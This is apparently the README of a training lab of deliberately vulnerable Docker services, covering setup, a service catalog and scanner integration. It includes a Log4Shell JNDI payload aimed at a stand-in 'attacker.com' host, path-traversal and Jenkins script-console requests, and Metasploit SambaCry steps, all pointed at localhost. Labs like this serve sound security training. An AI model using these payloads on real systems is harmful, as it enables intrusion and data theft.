Skip to content

Repository files navigation

VulnLab - Vulnerable Applications Laboratory

License: MITDockerContainersSecurity


Table of Contents


Overview

VulnLab is a containerized lab environment with 158 intentionally vulnerable Docker services, designed for information security professionals, pentesters, students, and researchers.

Project Goals

ObjectiveDescription
Penetration TestingSafe environment for practicing offensive techniques
Security TrainingTraining for Red Team and Blue Team
CVE StudiesReproduction and analysis of known vulnerabilities
Scanner ValidationTesting with OpenVAS, Nessus, Qualys, Nuclei, etc.
CTF PracticeRealistic scenarios for competitions
Exploit DevelopmentResearch in a controlled environment
DevSecOpsIntegration of security in CI/CD pipelines

Key Features

  • 158 containers distributed in 11 categories
  • Isolated network (172.30.0.0/15) for segmentation
  • Binding to localhost (127.0.0.1) for security
  • Unified management via lab.sh script
  • Selective startup to save resources
  • Compatible with Docker Compose v1 and v2

Architecture

┌─────────────────────────────────────────────────────────────────────────────┐
│ HOST MACHINE │
│ ┌───────────────────────────────────────────────────────────────────────┐ │
│ │ Docker Engine │ │
│ │ ┌─────────────────────────────────────────────────────────────────┐ │ │
│ │ │ vulnnet (172.30.0.0/15) │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │
│ │ │ │ Web │ │ Database │ │ DevOps │ │ Network │ │ │ │
│ │ │ │ Apps │ │ Services │ │ Tools │ │ Services │ │ │ │
│ │ │ │ (18) │ │ (16) │ │ (9) │ │ (31) │ │ │ │
│ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │
│ │ │ │ CMS │ │ Web │ │Messaging │ │Monitoring│ │ │ │
│ │ │ │ Platforms│ │ Servers │ │ Queues │ │ Logging │ │ │ │
│ │ │ │ (14) │ │ (17) │ │ (8) │ │ (12) │ │ │ │
│ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │
│ │ │ │ CVEs │ │ Runtimes │ │ OS │ │ │ │
│ │ │ │ Specific │ │Languages │ │ Base │ │ │ │
│ │ │ │ (5) │ │ (12) │ │ (8) │ │ │ │
│ │ │ └──────────┘ └──────────┘ └──────────┘ │ │ │
│ │ │ │ │ │
│ │ └─────────────────────────────────────────────────────────────────┘ │ │
│ └───────────────────────────────────────────────────────────────────────┘ │
│ │
│ Exposed on 127.0.0.1 only (localhost binding) │
└─────────────────────────────────────────────────────────────────────────────┘

Network Configuration

ParameterValue
Network Namevulnnet
Driverbridge
Subnet172.30.0.0/15
IP Range172.30.0.1 - 172.31.255.254
Gateway172.30.0.1
External Binding127.0.0.1 (localhost only)

System Requirements

Minimum

ResourceSpecification
CPU4 cores
RAM8 GB
Disk50 GB free
Docker20.10+
Docker Compose1.29+ or v2
OSLinux, macOS, Windows (WSL2)

Recommended (for all containers)

ResourceSpecification
CPU8+ cores
RAM32 GB
Disk150 GB SSD
Docker24.0+
Docker Composev2.20+

Prerequisites Check

# Check Docker version
docker --version
# Check Docker Compose version
docker-compose --version # v1
docker compose version # v2# Check available resources
free -h # Linux
sysctl hw.memsize # macOS

Installation and Configuration

1. Clone the Repository

git clone https://github.com/CristhianKapelinski/LabVulnerabilities.git
cd LabVulnerabilities

2. Script Permissions

chmod +x lab.sh

3. (Optional) Pre-download Images

# Download all images in advance
./lab.sh pull

4. Docker Compose v2 Configuration (if needed)

# Create an alias for compatibilityalias docker-compose=\'docker compose\'# Or add to ~/.bashrc or ~/.zshrcecho"alias docker-compose=\'docker compose\'">>~/.bashrc
source~/.bashrc

Usage Guide

Available Commands

CommandDescriptionExample
./lab.sh startStart all containers./lab.sh start
./lab.sh start <srv...>Start specific containers./lab.sh start dvwa juice-shop
./lab.sh stopStop all containers./lab.sh stop
./lab.sh restartRestart all containers./lab.sh restart
./lab.sh statusShow status of containers./lab.sh status
./lab.sh logs <srv>Display logs of a container./lab.sh logs dvwa
./lab.sh ipsList IPs of all containers./lab.sh ips
./lab.sh scan-targetsShow targets for scanners./lab.sh scan-targets
./lab.sh export-targetsExport IPs to targets.txt./lab.sh export-targets
./lab.sh statsShow resource usage (CPU/RAM)./lab.sh stats
./lab.sh cleanRemove containers and volumes./lab.sh clean
./lab.sh pullDownload all images./lab.sh pull

Usage Examples

Smoke Test

# Start only essential web applications
./lab.sh start dvwa juice-shop webgoat
# Check if they are running
./lab.sh status
# Access:# - DVWA: http://127.0.0.1:8005# - Juice Shop: http://127.0.0.1:3000# - WebGoat: http://127.0.0.1:8003/WebGoat

Database Lab

# Start all vulnerable databases
./lab.sh start mysql-old mysql55 postgres-old mongodb-noauth redis-noauth
# Connect to MySQL
mysql -h 127.0.0.1 -P 33061 -u root -proot
# Connect to PostgreSQL
psql -h 127.0.0.1 -p 54321 -U postgres
# Connect to MongoDB (no authentication)
mongosh --host 127.0.0.1 --port 27017
# Connect to Redis (no authentication)
redis-cli -h 127.0.0.1 -p 6382

CVE Lab

# Start containers with specific CVEs
./lab.sh start log4shell sambacry ssh-cve-2016-6515 tomcat-ghostcat apache-cve-2021-41773
# Log4Shell (CVE-2021-44228)
curl http://127.0.0.1:8883 -H 'X-Api-Version: ${jndi:ldap://attacker.com/a}'# Apache Path Traversal (CVE-2021-41773)
curl http://127.0.0.1:8882/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Service Catalog

1. Vulnerable Web Applications (OWASP/CTF)

Intentionally vulnerable web applications for pentesting, CTF, and OWASP Top 10 training.

ServiceImageIPPortDescription
metasploitable2tleemcjr/metasploitable2172.30.1.1-Complete VM with multiple vulnerable services
juice-shopbkimminich/juice-shop172.30.7.13000:3000OWASP Juice Shop - modern vulnerable application
dvwavulnerables/web-dvwa172.30.9.18005:80Damn Vulnerable Web Application
webgoatwebgoat/webgoat172.30.8.18003:8080OWASP WebGoat - interactive tutorials
webgoat-legacywebgoat/webgoat172.30.9.78011:8080Legacy version of WebGoat
hackazonianwijaya/hackazon172.30.7.28001:80Realistic vulnerable e-commerce
bwappraesene/bwapp172.30.9.28006:80Buggy Web Application
mutillidaecitizenstig/nowasp172.30.9.38007:80OWASP Mutillidae II
railsgoatowasp/railsgoat172.30.8.33001:3000Vulnerable Rails application
security-shepherdismisepaul/securityshepherd172.30.8.48004:80OWASP Security Shepherd
vampierev0s/vampi172.30.10.25002:5000Vulnerable API (REST)
damn-vulnerable-graphqldolevf/dvga172.30.10.45013:5013Vulnerable GraphQL API
wackopickoadamdoupe/wackopicko172.30.39.18040:80Vulnerable PHP application
dvnaappsecco/dvna172.31.1.1049094:9090Damn Vulnerable NodeJS Application
ssrflabyouyouorz/ssrf-vulnerable-lab172.31.1.1068109:80SSRF Lab
sqliacgpiano/sqli-labs172.31.1.1078110:80SQL Injection Labs
httpbinkennethreitz/httpbin172.30.50.18048:80HTTP Request/Response testing
echo-serverjmalloc/echo-server172.30.50.38050:8080Echo server for testing
metasploitable3kirscht/metasploitable3-ub1404172.30.1.3-Metasploitable3 Ubuntu 14.04 (SSH, FTP, SMB, HTTP)
metasploitable3-altheywoodlh/vulnerable172.30.1.42124:21, 2225:22, 8112:80, 3307:3306Alternative Metasploitable3-based host
dsvwappsecco/dsvw172.30.40.18008:8000Damn Small Vulnerable Web (lightweight)
xvwamarcositu/xvwa2020172.30.40.98108:80Xtreme Vulnerable Web Application
bwapp-althackersploit/bwapp-docker172.30.9.48111:80bWAPP alternative image
railsgoat-altvulnerables/web-owasp-railsgoat172.30.8.53007:80RailsGoat alternative image

Default Credentials:

ApplicationUserPassword
DVWAadminpassword
WebGoatguestguest
bWAPPbeebug
Juice ShopRegister new user-
Metasploitable3msfadminmsfadmin
XVWA-No authentication

2. Specific CVEs

Containers configured to reproduce specific documented CVE vulnerabilities.

ServiceImageIPPortCVESeverity
log4shellghcr.io/christophetd/log4shell-vulnerable-app172.30.6.48883:8080CVE-2021-44228CRITICAL (10.0)
sambacryvulnerables/cve-2017-7494172.30.4.14451:445, 1391:139CVE-2017-7494CRITICAL (9.8)
ssh-cve-2016-6515vulnerables/cve-2016-6515172.30.3.12222:22CVE-2016-6515HIGH (7.5)
tomcat-ghostcatvulhub/tomcat:9.0.30172.30.44.28047:8080, 8009:8009CVE-2020-1938CRITICAL (9.8)
apache-cve-2021-41773httpd:2.4.49172.30.6.38882:80CVE-2021-41773CRITICAL (9.8)
shellshock-labvulnerables/cve-2014-6271172.30.40.78104:80CVE-2014-6271CRITICAL (9.8)
heartbleed-labvulnerables/cve-2014-0160172.30.40.88105:443CVE-2014-0160CRITICAL (9.8)

CVE Details:

CVENameTypeImpact
CVE-2021-44228Log4ShellRCE via JNDI InjectionRemote Code Execution
CVE-2017-7494SambaCryRCE via SambaRemote Code Execution
CVE-2016-6515OpenSSH DoSDoS via password lengthDenial of Service
CVE-2020-1938GhostcatFile Read/IncludeSensitive File Read
CVE-2021-41773Apache Path TraversalPath Traversal/RCEFile Read/RCE
CVE-2014-6271ShellshockBash Code InjectionRemote Code Execution
CVE-2014-0160HeartbleedOpenSSL Memory LeakPrivate Key/Data Leak

3. CMS and Web Platforms

Content management systems with known vulnerable versions.

ServiceImageIPPortKnown Vulnerabilities
wordpress-vulnwordpress:4.6172.30.11.18015:80PHPMailer RCE, REST API
wp46wordpress:4.6172.31.1.828095:80CVE-2016-10033
wp49wordpress:4.9172.31.1.838096:80Multiple XSS, CSRF
drupal7drupal:7172.31.1.848097:80Drupalgeddon (CVE-2014-3704)
drupal85drupal:8.5172.31.1.858098:80Drupalgeddon 2 (CVE-2018-7600)
joomla38joomla:3.8172.31.1.868099:80SQLi, Object Injection
gitlab-vulngitlab/gitlab-ce:10.0.0-ce.0172.30.12.28017:80Multiple RCE
owncloud-oldowncloud:9.1172.30.31.18031:80CSRF, SQLi
owncloud9owncloud:9172.31.1.928105:80Code Execution
nextcloud12nextcloud:12172.31.1.938106:80SSRF, SQLi
mediawiki-oldmediawiki:1.27172.30.32.18033:80XSS, RCE
mediawiki128mediawiki:1.28172.31.1.948107:80Multiple vulnerabilities
redmine33redmine:3.3172.31.1.953006:3000XSS, CSRF
dokuwikimprasil/dokuwiki172.30.32.28034:80Auth Bypass, RCE

4. Databases

DBMS with outdated versions, insecure configurations, or no authentication.

ServiceImageIPPortVulnerability
mysql-oldmysql:5.5172.30.14.133061:3306EOL version, multiple CVEs
mysql55mysql:5.5172.31.1.2533062:3306CVE-2012-2122 (auth bypass)
mysql56mysql:5.6172.31.1.2633063:3306Privilege escalation
mariadb10mariadb:10.0172.31.1.2733064:3306Outdated version
postgres-oldpostgres:9.4172.30.14.254321:5432CVE-2019-9193
pg93postgres:9.3172.31.1.2854322:5432Multiple CVEs
pg95postgres:9.5172.31.1.2954323:5432Privilege escalation
mongodb-noauthmongo:3.4172.30.14.327017:27017No authentication
mongo32mongo:3.2172.31.1.3027018:27017EOL version
mongo36mongo:3.6172.31.1.3127019:27017Outdated version
redis-noauthredis:4.0172.30.14.46382:6379No authentication
redis32redis:3.2172.31.1.326380:6379CVE-2015-8080
redis50redis:5.0172.31.1.336381:6379Lua sandbox escape
cassandra22cassandra:2.2172.31.1.349043:9042EOL version
couchdb-oldcouchdb:1.6172.30.14.65984:5984CVE-2017-12635/12636
couchdb16couchdb:1.6172.31.1.355985:5984Privilege escalation

Default Credentials:

DatabaseUserPasswordEnvironment Variable
MySQLrootrootMYSQL_ROOT_PASSWORD=root
PostgreSQLpostgrespostgresPOSTGRES_PASSWORD=postgres
MongoDB--No authentication
Redis--No authentication

5. Web and Application Servers

HTTP and application servers with known vulnerabilities.

ServiceImageIPPortVulnerabilities
apache-oldhttpd:2.2172.30.15.28021:80CVE-2017-3167, CVE-2017-3169
apache22httpd:2.2172.31.1.98150:80Multiple EOL CVEs
apache246httpd:2.4.6172.31.1.108051:80CVE-2017-15710
nginx-oldnginx:1.10172.30.15.18020:80Outdated version
nginx110nginx:1.10172.31.1.118152:80CVE-2017-7529
nginx112nginx:1.12172.31.1.128153:80Integer overflow
nginx114nginx:1.14172.31.1.138154:80HTTP/2 vulnerabilities
lighttpdsebp/lighttpd172.31.1.148055:80Outdated version
caddy20caddy:2.0.0172.31.1.158155:80Early version bugs
tomcat6tomcat:6172.31.1.168060:8080EOL - multiple RCE
tomcat7tomcat:7.0.70172.31.1.178061:8080CVE-2017-12617 (RCE)
tomcat7-vulntomcat:7.0.94172.30.44.18046:8080Manager app exposed
tomcat8tomcat:8.0172.31.1.188062:8080Deserialization RCE
jboss7jboss/wildfly:8.2.1.Final172.31.1.208064:8080JMX Console exposed
wildfly9jboss/wildfly:9.0.2.Final172.31.1.218065:8080Deserialization
wildfly10jboss/wildfly:10.1.0.Final172.31.1.228066:8080Admin console vulns
glassfish41oracle/glassfish:4.1172.31.1.248067:8080, 4848:4848Admin auth bypass

6. DevOps and CI/CD

Continuous integration and code repository tools with vulnerabilities.

ServiceImageIPPortVulnerabilities
jenkins260jenkins/jenkins:2.60172.31.1.488080:8080Deserialization RCE, Script Console
jenkins2150jenkins/jenkins:2.150172.31.1.498081:8080CVE-2019-1003000
gitlab10gitlab/gitlab-ce:10.0.0-ce.0172.31.1.558085:80Multiple RCE
nexus2sonatype/nexus:2.14.4172.31.1.508082:8081EL Injection RCE
sonar67sonarqube:6.7172.31.1.529001:9000Auth bypass
sonar70sonarqube:7.0172.31.1.539002:9000API vulnerabilities
artifactory5jfrog/artifactory-oss:5.11.0172.31.1.548084:8081Path traversal
gogs011gogs/gogs:0.11172.31.1.563002:3000CVE-2018-18925 (RCE)
gitea14gitea/gitea:1.4.0172.31.1.573010:3000SSRF, XSS

Default Credentials:

ServiceUserPassword
Jenkins-Initial no auth
Nexusadminadmin123
SonarQubeadminadmin
GitLabrootConfigure on first access

7. Messaging and Streaming

Message brokers and data streaming systems.

ServiceImageIPPortVulnerabilities
rabbitmq-oldrabbitmq:3.6-management172.30.20.15672:5672, 15672:15672Default creds
rabbit36rabbitmq:3.6-management172.31.1.585673:5672, 15673:15672CVE-2017-4966
rabbit37rabbitmq:3.7-management172.31.1.595674:5672, 15674:15672MQTT vulnerabilities
kafka-oldwurstmeister/kafka:2.11-0.10.2.2172.30.47.19092:9092No authentication
kafka011wurstmeister/kafka:2.11-0.11.0.3172.31.1.609093:9092CVE-2018-1288
activemq-oldrmohr/activemq:5.14.3172.30.20.261616:61616, 8161:8161Deserialization RCE
activemq514rmohr/activemq:5.14.3172.31.1.6161617:61616, 8162:8161CVE-2016-3088
zookeeper-oldzookeeper:3.4172.30.46.12181:2181No authentication

Default Credentials:

ServiceUserPasswordConsole
RabbitMQguestguest:15672
ActiveMQadminadmin:8161

8. Monitoring and Logging

Observability, metrics, and logging systems.

ServiceImageIPPortVulnerabilities
elasticsearch-oldelasticsearch:2.4.6172.30.14.59200:9200, 9300:9300CVE-2015-1427 (RCE)
es24elasticsearch:2.4172.31.1.649201:9200Groovy scripting RCE
es56elasticsearch:5.6172.31.1.659202:9200Directory traversal
kibana-oldkibana:4.6172.30.19.15601:5601Prototype pollution
kibana46kibana:4.6172.31.1.675602:5601CVE-2017-11479
kibana56kibana:5.6172.31.1.685603:5601LFI vulnerability
logstash56logstash:5.6172.31.1.695045:5044Deserialization
grafana-oldgrafana/grafana:5.1.0172.30.19.23003:3000CVE-2018-15727 (Auth bypass)
prometheus-oldprom/prometheus:v2.15.2172.31.1.729091:9090SSRF via config reload
influx13influxdb:1.3172.31.1.738087:8086Auth bypass
nagiosjasonrivers/nagios172.31.1.748088:80Command injection
zabbix40zabbix/zabbix-server-mysql172.31.1.7510052:10051SQLi, RCE

Default Credentials:

ServiceUserPassword
Grafanaadminadmin
Nagiosnagiosadminnagios
Kibana-No auth

9. Network and Infrastructure Services

Network protocols, proxy, DNS, LDAP, cache, and other infrastructure services.

ServiceImageIPPortVulnerabilities
proftpd-vulninfosecwarrior/ftp:v1172.30.2.22122:21Backdoor, mod_copy
ubuntu-sshd-oldrastasheep/ubuntu-sshd:14.04172.30.3.22223:22Weak config
opensshlinuxserver/openssh-server172.31.1.962224:22Config testing
vsftpdfauria/vsftpd172.31.1.972123:21Anonymous upload
dns-vulninfosecwarrior/dns-lab:v2172.30.5.15353:53/udp, 8053:80Zone transfer
bindsameersbn/bind:9.11.3172.31.1.1015354:53/udpOutdated version
openldaposixia/openldap:1.2.0172.30.29.13891:389, 6361:636Anonymous bind
phpldapadminosixia/phpldapadmin:0.7.1172.30.29.28030:80XSS, Injection
mailcatcherschickling/mailcatcher172.30.17.11025:1025, 1080:1080Open relay testing
dovecotdovecot/dovecot172.31.1.1001431:143Config testing
squid-oldsameersbn/squid:3.3.8-23172.30.18.13128:3128CVE-2014-0128
squid35sameersbn/squid:3.5.27-2172.31.1.793129:3128Cache poisoning
haproxy15haproxy:1.5172.31.1.768090:80HTTP desync
haproxy16haproxy:1.6172.31.1.778091:80Buffer overflow
haproxy17haproxy:1.7172.31.1.788092:80CVE-2018-14645
traefik15traefik:1.5172.31.1.808093:80API exposure
docker-registry-noauthregistry:2172.30.21.15000:5000No authentication
memcached-oldmemcached:1.4172.30.25.111211:11211DDoS amplification
memcached14memcached:1.4172.31.1.10211212:11211CVE-2016-8704
memcached15memcached:1.5172.31.1.10311213:11211Auth bypass
snmpdpolinux/snmpd172.30.30.11611:161/udpDefault community strings
asteriskandrius/asterisk172.30.28.15060:5060/udpSIP vulnerabilities
consul-oldconsul:0.9.0172.30.48.18500:8500, 8600:8600/udpRCE via services
vault-oldvault:0.9.0172.30.49.18200:8200Auth bypass
solr-oldsolr:6.6172.30.45.18983:8983CVE-2017-12629 (RCE)
phpmyadmin-oldphpmyadmin:4.6172.30.26.18026:80LFI, XSS
pma46phpmyadmin:4.6172.31.1.888101:80CVE-2016-5703
pma48phpmyadmin:4.8172.31.1.898102:80CVE-2018-12613 (LFI)
admineradminer:4.2172.30.26.28027:8080SSRF
adminer42adminer:4.2172.31.1.908103:8080Login bypass
phpldapadmin-remote-dumpvulnerables/phpldapadmin-remote-dump172.30.40.58094:80RCE via LDAP dump (CVE)
metasploit-emulatorvulnerables/metasploit-vulnerability-emulator172.30.40.68100:80Emulates 100+ vulnerable services

10. Languages and Runtimes

Execution environments with outdated versions for testing vulnerable dependencies.

ServiceImageIPPortEOL/Vulnerabilities
python27python:2.7172.31.1.36-EOL - Jan 2020
python35python:3.5172.31.1.37-EOL - Sep 2020
python36python:3.6172.31.1.38-EOL - Dec 2021
node6node:6172.31.1.39-EOL - Apr 2019
node8node:8172.31.1.40-EOL - Dec 2019
node10node:10172.31.1.41-EOL - Apr 2021
ruby23ruby:2.3172.31.1.42-EOL - Mar 2019
ruby24ruby:2.4172.31.1.43-EOL - Apr 2020
php56php:5.6-apache172.31.1.448070:80EOL - Dec 2018
php70php:7.0-apache172.31.1.458071:80EOL - Jan 2019
go19golang:1.9172.31.1.46-Outdated version
express-oldnode:6.14172.30.22.23004:3000Multiple CVEs

11. Base Operating Systems

Outdated OS images for testing kernel and system vulnerabilities.

ServiceImageIPPortEOL
ubuntu14ubuntu:14.04172.31.1.1-Apr 2019
ubuntu16ubuntu:16.04172.31.1.2-Apr 2021
debian8debian:jessie172.31.1.3-Jun 2020
debian9debian:stretch172.31.1.4-Jun 2022
centos6centos:6172.31.1.5-Nov 2020
centos7centos:7172.31.1.6-Jun 2024
alpine37alpine:3.7172.31.1.7-Nov 2019
fedora28fedora:28172.31.1.8-May 2019

Use Cases

1. OWASP Top 10 Training

# Start complete OWASP environment
./lab.sh start dvwa juice-shop webgoat bwapp
# Practice:# A01 - Broken Access Control: Juice Shop# A02 - Cryptographic Failures: DVWA# A03 - Injection: SQLi Labs, DVWA# A07 - XSS: bWAPP, Mutillidae

2. Infrastructure Pentest

# Complete network environment
./lab.sh start metasploitable2 proftpd-vuln ssh-cve-2016-6515 sambacry \
mysql-old postgres-old mongodb-noauth redis-noauth
# Run Nmap
nmap -sV -sC 172.30.0.0/16
# Use Metasploit
msfconsole
use exploit/multi/samba/usermap_script

3. CVE Analysis

# Critical CVEs lab
./lab.sh start log4shell apache-cve-2021-41773 tomcat-ghostcat sambacry
# Reproduce Log4Shell
curl -H 'X-Api-Version: ${jndi:ldap://attacker/a}' http://127.0.0.1:8883
# Reproduce Apache Path Traversal
curl 'http://127.0.0.1:8882/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd'

4. DevSecOps Pipeline Testing

# Vulnerable CI/CD tools
./lab.sh start jenkins260 gitlab10 nexus2 sonar67 docker-registry-noauth
# Test Jenkins Script Console
curl -X POST 'http://127.0.0.1:8080/scriptText' \
--data-urlencode 'script=println "id".execute().text'

Integration with Security Tools

OpenVAS (Greenbone Vulnerability Management)

OpenVAS is an open-source vulnerability scanner. This guide shows how to run OpenVAS in Docker and scan the VulnLab containers.

Step 1: Start OpenVAS in a Container

# Create a volume for data persistence
docker volume create openvas
# Start the OpenVAS container# IMPORTANT: Set a strong password for the admin
docker run --detach \
--publish 8080:9392 \
-e PASSWORD="YourSecurePassword123" \
--volume openvas:/data \
--name openvas \
immauss/openvas
# Wait for initialization (can take 5-10 minutes the first time)# Follow the logs:
docker logs -f openvas
# When "Greenbone Vulnerability Manager started" appears, it's ready

Note: The first startup downloads vulnerability definitions (~1.5GB) and can take several minutes.

Step 2: Connect OpenVAS to the VulnLab Network

For OpenVAS to be able to scan the VulnLab containers, it needs to be connected to the same network (vulnnet).

# Check the VulnLab network name
docker network ls | grep vuln
# Output: xxxxxxxxxxxx trabalho_vulnnet bridge local# Connect the OpenVAS container to the vulnnet network
docker network connect trabalho_vulnnet openvas
# Verify the connection
docker inspect openvas | grep -A 10 "Networks"# Test connectivity (from inside OpenVAS)
docker exec openvas ping -c 2 172.30.9.1 # DVWA's IP

Important: The network name may vary depending on the directory. Use docker network ls to check the exact name (usually <folder>_vulnnet).

Step 3: Get Target IPs

# List IPs of all VulnLab containers
./lab.sh ips
# Export to file
./lab.sh export-targets
cat targets.txt
# Example output:# 172.30.1.1 metasploitable2# 172.30.7.1 juice-shop# 172.30.9.1 dvwa# ...

Step 4: Access the OpenVAS Web Interface

  1. Open your browser and go to: https://localhost:8080

  2. Accept the self-signed certificate (security warning)

  3. Log in:

    • Username:admin
    • Password: The password you set in Step 1

Step 5: Create a Target

  1. In the top menu, go to: Configuration → Targets

  2. Click the ⭐ (New Target) icon in the upper left corner

  3. Fill in the fields:

    • Name:VulnLab-WebApps (or a descriptive name)
    • Hosts - Manual: Paste the target IPs, separated by commas:
      172.30.9.1, 172.30.7.1, 172.30.8.1, 172.30.9.2, 172.30.9.3
      
      Or to scan the entire network:
      172.30.0.0/16
      
    • Port List: Select All TCP and Nmap top 100 UDP
  4. Click Save

Step 6: Create and Run a Task (Scan)

  1. In the top menu, go to: Scans → Tasks

  2. Click the ⭐ (New Task) icon in the upper left corner

  3. Fill in the fields:

    • Name:Scan-VulnLab
    • Scan Targets: Select the created target (VulnLab-WebApps)
    • Scanner:OpenVAS Default
    • Scan Config:
      • Full and fast - For a quick scan (~30 min for a few hosts)
      • Full and deep - For a full scan (~2-4 hours)
  4. Click Save

  5. In the task list, click the ▶ (Start) icon to start the scan

Step 7: Monitor and View Results

  1. Monitor progress:

    • Go to Scans → Tasks
    • The Status column shows the progress (%)
    • Click the task name for details
  2. View found vulnerabilities:

    • Go to Scans → Results
    • Filter by severity: High, Medium, Low
  3. Generate a report:

    • Go to Scans → Reports
    • Click the desired report
    • Click the ⬇ Download icon and choose the format (PDF, HTML, CSV, XML)

Complete Example: Scanning Web Apps

# 1. Make sure VulnLab is running
./lab.sh start dvwa juice-shop webgoat bwapp
# 2. Check the IPs
./lab.sh ips | grep -E "dvwa|juice|webgoat|bwapp"# 172.30.9.1 dvwa# 172.30.7.1 juice-shop# 172.30.8.1 webgoat# 172.30.9.2 bwapp# 3. Start OpenVAS (if not running)
docker start openvas
# 4. Connect to the network (if not already connected)
docker network connect trabalho_vulnnet openvas
# 5. Access https://localhost:8080 and create:# - Target: "WebApps" with hosts: 172.30.9.1, 172.30.7.1, 172.30.8.1, 172.30.9.2# - Task: "Scan-WebApps" with "Full and fast" config# - Start the scan and wait for the results

Useful Commands

# Stop OpenVAS
docker stop openvas
# Start OpenVAS again
docker start openvas
# View OpenVAS logs
docker logs -f openvas
# Remove OpenVAS (keeps data in volume)
docker rm openvas
# Remove everything (including data)
docker rm openvas
docker volume rm openvas
# Update vulnerability definitions
docker exec -it openvas greenbone-feed-sync

Recommended Scans by Category

CategoryHosts (for Target)Scan ConfigEstimated Time
Web Apps172.30.7.1, 172.30.8.1, 172.30.9.1, 172.30.9.2, 172.30.9.3Full and fast30-60 min
Databases172.30.14.1, 172.30.14.2, 172.30.14.3, 172.30.14.4Full and fast20-40 min
Critical CVEs172.30.3.1, 172.30.4.1, 172.30.6.3, 172.30.6.4Full and deep30-60 min
Full Network172.30.0.0/16Discovery1-2 hours

Other Scanners

Nessus

# Import targets
./lab.sh export-targets
# Via CLI (if available)
nessuscli scan --targets targets.txt --policy "Basic Network Scan"# Via API
curl -k -X POST "https://localhost:8834/scans" \
-H "X-ApiKeys: accessKey=xxx;secretKey=yyy" \
-d '{"uuid":"template-uuid","settings":{"name":"VulnLab","text_targets":"'$(cat targets.txt)'"}}'

Nuclei

# Basic scan with CVE templates
nuclei -l targets.txt -t cves/ -o nuclei-results.txt
# Full scan
nuclei -l targets.txt -t cves/,vulnerabilities/,misconfiguration/ -severity critical,high
# Specific scan for web appsecho"http://127.0.0.1:8005http://127.0.0.1:3000http://127.0.0.1:8003"> web-urls.txt
nuclei -l web-urls.txt -t http/cves/,http/vulnerabilities/ -o web-vulns.txt

Nikto

# Scan a specific web application
nikto -h 127.0.0.1 -p 8005 -o dvwa-nikto.html -Format html
# Scan multiple ports
nikto -h 127.0.0.1 -p 8005,3000,8003,8001 -o web-nikto.txt
# Scan with specific tuning
nikto -h http://127.0.0.1:8005 -Tuning 9 -o sqli-xss-scan.txt

Pentest Tools

Metasploit Framework

# Start Metasploit with database
msfdb init
msfconsole -q
# Inside msfconsole:# Configure workspace
workspace -a vulnlab
# Network scan
db_nmap -sV -sC 172.30.0.0/16 -oA vulnlab-nmap
# List discovered hosts
hosts
# List services
services
# Search for known vulnerabilities
vulns
# Example: exploit SambaCry (CVE-2017-7494)
use exploit/linux/samba/is_known_pipename
set RHOSTS 172.30.4.1
set RPORT 445
exploit

SQLMap

# DVWA - SQL Injection (requires login first)# 1. Log in to DVWA and get the PHPSESSID cookie# 2. Set security level to "low"
sqlmap -u "http://127.0.0.1:8005/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123;security=low" \
--dbs
# Enumerate tables
sqlmap -u "http://127.0.0.1:8005/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123;security=low" \
-D dvwa --tables
# SQLi Labs
sqlmap -u "http://127.0.0.1:8110/Less-1/?id=1" --dbs --batch

Burp Suite

1. Configure proxy: 127.0.0.1:8080
2. Add to scope:
- http://127.0.0.1:8005 (DVWA)
- http://127.0.0.1:3000 (Juice Shop)
- http://127.0.0.1:8003 (WebGoat)
3. Browse the applications to capture requests
4. Use Intruder for fuzzing and Scanner for automatic detection

Troubleshooting

Error: "YAML syntax error"

# Validate syntax
docker-compose config
# If there is an error, check indentation
python3 -c "import yaml; yaml.safe_load(open('docker-compose.yml'))"

Error: "ContainerConfig KeyError"

# Remove corrupted containers
docker rm -f $(docker ps -aq)# Restart
./lab.sh start dvwa juice-shop

Error: "Port already in use"

# Check the process using the port
sudo lsof -i :8005
# Or with netstat
sudo netstat -tlnp | grep 8005
# Stop the conflicting process or change the port in docker-compose.yml

Error: "No space left on device"

# Clean up unused images
docker system prune -a
# Clean up volumes
docker volume prune
# Check disk usage
docker system df

Performance: Slow containers

# Check resource usage
./lab.sh stats
# Limit resources in docker-compose.yml# deploy:# resources:# limits:# memory: 512M

Contributing

How to Contribute

  1. Fork the repository
  2. Create a branch: git checkout -b feature/new-vulnerability
  3. Commit your changes: git commit -m 'Add: new vulnerable container'
  4. Push to the branch: git push origin feature/new-vulnerability
  5. Open a Pull Request

Guidelines

  • Keep binding to 127.0.0.1 for all exposed ports
  • Document known CVEs and vulnerabilities
  • Include default credentials in the documentation
  • Test with docker-compose config before committing

Disclaimer

ATTENTION: FOR EDUCATIONAL USE ONLY

This lab contains severely vulnerable applications that SHOULD NOT be exposed to public or untrusted networks.

Permitted use:

  • Isolated lab environments
  • Private networks for training
  • Authorized security research
  • Development of defensive tools

Prohibited use:

  • Exposure to the internet
  • Testing on unauthorized systems
  • Malicious activities

The maintainers ARE NOT RESPONSIBLE for any misuse of this material.


License

This project is licensed under the MIT License - see the LICENSE file for details.


References


Maintained by:Cristhian Kapelinski

About

Comprehensive containerized security lab with 158+ vulnerable services (OWASP, CVEs, Databases, DevOps). Features an isolated network, unified orchestration, and a production-grade automated OpenVAS/GVM scanning framework.

Topics

Resources

Contributing

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages